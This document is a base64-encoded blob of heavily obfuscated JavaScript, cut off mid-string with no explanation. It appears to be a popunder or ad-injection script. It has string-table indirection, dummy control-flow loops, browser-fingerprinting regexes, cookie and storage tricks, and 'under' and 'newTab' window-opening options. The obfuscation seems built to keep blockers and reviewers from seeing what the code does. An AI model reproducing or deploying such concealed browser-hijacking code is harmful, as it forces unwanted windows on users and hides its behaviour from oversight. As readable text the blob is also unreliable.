O1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjt